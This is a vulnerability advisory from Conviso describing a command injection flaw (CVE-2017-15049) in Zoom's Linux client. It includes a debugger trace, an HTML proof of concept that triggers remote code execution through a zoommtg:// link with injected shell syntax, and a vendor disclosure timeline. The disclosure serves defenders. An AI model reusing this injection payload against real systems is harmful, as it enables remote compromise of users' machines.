[CONVISO-17-003] - Zoom Linux Client Command Injection Vulnerability (RCE)
1. Advisory Information
Conviso Advisory ID: CONVISO-17-003
CVE ID: CVE-2017-15049
CVSS v2: 10, (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Date: 2017-10-01
2. Affected Components
Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be
vulnerable.
3. Description
The binary /opt/zoom/ZoomLauncher is vulnerable to command injection because it uses user input
to construct a shell command without proper sanitization.
The client registers a scheme handler (zoommtg://) and this makes possible to trigger the
vulnerability remotely.
4. Details
gef> r '$(uname)'
Starting program: /opt/zoom/ZoomLauncher '$(uname)'
ZoomLauncher started.
cmd line: $(uname)
$HOME = /home/user
Breakpoint 5, 0x0000000000401e1f in startZoom(char*, char*) ()
gef> x/3i $pc
=> 0x401e1f <_Z9startZoomPcS_+744>: call 0x4010f0 <strcat@plt>
0x401e24 <_Z9startZoomPcS_+749>: lea rax,[rbp-0x1420]
0x401e2b <_Z9startZoomPcS_+756>: mov rcx,0xffffffffffffffff
gef> x/s $rdi
0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \""
gef> x/s $rsi
0x7fffffffd750: "$(uname) "
gef> c
Continuing.
export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom "$(uname) "
Breakpoint 6, 0x0000000000401e82 in startZoom(char*, char*) ()
gef> x/3i $pc
=> 0x401e82 <_Z9startZoomPcS_+843>: call 0x401040 <system@plt>
0x401e87 <_Z9startZoomPcS_+848>: mov DWORD PTR [rbp-0x18],eax
0x401e8a <_Z9startZoomPcS_+851>: mov eax,DWORD PTR [rbp-0x18]
gef> x/s $rdi
0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export
LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"$(uname) \""
--- RCE POC ---
<html>
<head>
</head>
<body>
<h1>Zoom POC RCE</h1>
<script>
window.location = 'zoommtg://$(gnome-calculator${IFS}-e${IFS}1337)'
</script>
<body>
</html>
5. Solution
Upgrade to latest version.
6. Credits
Ricardo Silva <rsilva@conviso.com.br>
Gabriel Quadros <gquadros@conviso.com.br>
7. Report Timeline
Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability.
Set 28, 2017 - Vendor asked the report in the current channel.
Set 28, 2017 - Conviso sent informations to reproduce the vulnerability.
Set 28, 2017 - Conviso asked if they could reproduce it.
Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team.
Oct 5, 2017 - Vendor provided a patch candidate for testing.
Oct 5, 2017 - Conviso pointed problems in the patch.
Oct 11, 2017 - Vendor provided a patch candidate for testing.
Oct 12, 2017 - Conviso pointed problems in the patch.
Oct 23, 2017 - Conviso asked for status.
Oct 27, 2017 - Conviso asked for status.
Nov 1, 2017 - Conviso asked for status.
Nov 3, 2017 - Vendor replied.
Nov 6, 2017 - Conviso asked for status.
Nov 6, 2017 - Vendor replied.
Nov 9, 2017 - Conviso asked for status.
Nov 13, 2017 - Conviso asked for status.
Nov 15, 2017 - Conviso asked for status.
Nov 16, 2017 - Vendor provided a patch candidate for testing.
Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done.
Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a
sastifactory fix.
Nov 30, 2017 - Vendor released the version 2.0.115900.1201
8. References
https://zoom.us/download
https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux
9. About Conviso
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10. Copyright and Disclaimer
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